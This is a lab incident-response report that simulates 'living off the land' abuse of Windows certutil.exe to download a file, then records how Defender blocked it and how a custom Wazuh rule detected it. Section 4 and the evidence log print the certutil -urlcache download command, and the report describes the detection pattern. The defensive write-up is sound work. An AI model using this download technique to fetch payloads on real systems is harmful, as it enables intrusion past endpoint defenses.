

INCIDENT RESPONSE REPORT

Subject: LOLBins Abuse

Incident ID: IR-2025-1230-011

PREPARED BY:

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Date	December 30, 2025
Severity	High
Status	Closed (Lab Simulation)

1. Project Overview and Goal

- This project demonstrates the detection of **"Living Off The Land" (LOLBins)** attacks, where adversaries use legitimate, pre-installed operating system tools to perform malicious actions. Specifically, the Windows binary `certutil.exe` was abused to download a simulated malicious payload from an external source.
- The goal was to engineer a behavioral detection rule in the Wazuh SIEM to identify this activity, even if the payload itself bypasses signature-based antivirus defenses.

2. Lab Architecture

- **Attacker Vector:** Local Command Execution (Simulated Insider/Compromised Host)
- **Victim System:** Windows 11 (Endpoint with Wazuh Agent)
- **Security Tools:** Microsoft Defender (EPP), Wazuh Manager (SIEM)
- **Detection Method:** Behavioral Analysis (Command Line Arguments)

3. Objectives:

- Simulate a file download attack using a trusted Microsoft binary (`certutil.exe`).

- Analyze how Endpoint Protection (Microsoft Defender) reacts to known abuse patterns.
- Create and validate a custom SIEM rule to detect the specific argument pattern (`-urlcache`, `-split`).
- Map the activity to the MITRE ATT&CK framework.

4. Malware Behavior Simulation

A command was executed to mimic a "dropper" downloading a payload from a C2 server.

- **Tool:** `certutil.exe` (Certificate Authority Utility)
- **Command:** `certutil.exe -urlcache -split -f https://www.google.com/robots.txt malicious_test_2.txt`
- **Behavior:** The command attempts to connect to the internet, fetch a file, and save it to the disk using the `-split` flag to handle the file content.

5. Detection & Analysis

The investigation revealed a multi-layered defense response:

Layer 1: Endpoint Protection (Microsoft Defender)

- Upon execution, Microsoft Defender immediately blocked the process.
- **Event ID:** 1116 (Malware Detection)
- **Threat Name:** `Trojan:Win32/Ceprolad.A`

- **Outcome:** The command failed with `Access is denied` and `ResourceUnavailable` errors in the terminal.

Layer 2: SIEM Detection (Wazuh)

- To validate SIEM visibility, Real-Time Protection was temporarily disabled to allow log generation.
- **Log Source:** Event ID 4688 (Process Creation)
- **Custom Rule Logic:** Detected the combination of `certutil.exe` with `urlcache` and `http` arguments.
- **Result:** High-Severity Alert generated in the Wazuh Dashboard.

6. MITRE ATT&CK Mapping

- **T1105** – Ingress Tool Transfer (Downloading the file)
- **T1218** – System Binary Proxy Execution (Using `certutil` to hide activity)

7. Incident Response & Remediation

- **Containment:** The endpoint was isolated (simulated) to prevent lateral movement.
- **Eradication:** The downloaded file `malicious_test_2.txt` was identified and deleted.

- **Tuning:** Validated that the custom Wazuh rule triggers only on the *combination* of internet flags to prevent false positives from legitimate certificate updates.

8. Conclusion

This project highlights the necessity of **Defense in Depth**. While signature-based AV (Defender) successfully caught the specific tool usage in this instance, sophisticated attackers often obfuscate commands to bypass these signatures.

The implementation of behavioral SIEM rules provides a critical safety net, ensuring that even if the "tool" is allowed, the "behavior" (downloading files from the web via certutil) is detected.

9. Evidence

```
PS C:\Users\win1lwazhu\Desktop> certutil.exe -urlcache -split -f https://www.google.com/robots.txt malicious_test_2.txt
**** Online ****
0000 ...
19b3
CertUtil: -URLCache command completed successfully.
PS C:\Users\win1lwazhu\Desktop> ls

Directory: C:\Users\win1lwazhu\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-----         12/30/2025   1:09 PM           6579 malicious_test_2.txt
-a-----         12/23/2025  10:28 AM            11 test_ransomware_edited.txt
```



data.win.eventdata.threat Name	Trojan:Win32/Ceprolad.A
data.win.eventdata.type ID	0
data.win.eventdata.type Name	Concrete
data.win.system.channel	Microsoft-Windows-Windows Defender/Operational
data.win.system.computer	win-11-wazhu
data.win.system.eventID	1116
data.win.system.eventRecordID	514
data.win.system.keywords	0x8000000000000000
data.win.system.level	3